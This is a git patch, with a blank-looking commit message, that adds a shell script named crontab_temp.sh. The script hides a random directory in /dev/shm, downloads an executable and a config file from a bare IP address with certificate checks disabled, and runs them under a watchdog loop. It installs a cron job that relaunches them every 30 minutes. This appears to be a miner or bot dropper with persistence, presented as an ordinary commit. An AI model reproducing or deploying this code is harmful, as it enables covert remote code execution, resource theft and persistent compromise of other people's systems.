From 61ed69920f305fd2db0eb843524c77dad64a17c8 Mon Sep 17 00:00:00 2001 From: asd Date: Thu, 14 Dec 2023 11:09:41 -0500 Subject: [PATCH] . --- crontab_temp.sh | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 crontab_temp.sh diff --git a/crontab_temp.sh b/crontab_temp.sh new file mode 100644 index 0000000..28d0fad --- /dev/null +++ b/crontab_temp.sh @@ -0,0 +1,28 @@ +#!/bin/bash + +path=/dev/shm + +if [ -w $path ]; then + dir=.$(head /dev/urandom | tr -dc a-z | head -c 5) + mkdir $dir + cd $dir + path=$PWD + salt=$(head /dev/urandom | tr -dc a-z | head -c 7) + m=$path/$(head /dev/urandom | tr -dc a-z | head -c 2) + if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/x 2>/dev/null; then + curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/x -o x + fi + if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/10 2>/dev/null; then + curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/10 -o 10 + fi + if [ ! -f "$path/x" ]; then exit; fi + if [ ! -f "$path/10" ]; then exit; fi + chmod 777 x + sed "s/BBBBBBB/$salt/" -i 10 + log=$path/.log + echo "#!/bin/bash" > $m + echo "for i in \$(seq 1 120); do if pgrep -x \"x\" >/dev/null 2>&1; then sleep 15; else rm -f $log; timeout 1800 $path/x -c $path/10 -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m + chmod 777 $m + (crontab -l; echo "*/30 * * * * $m") | crontab - + echo $salt +fi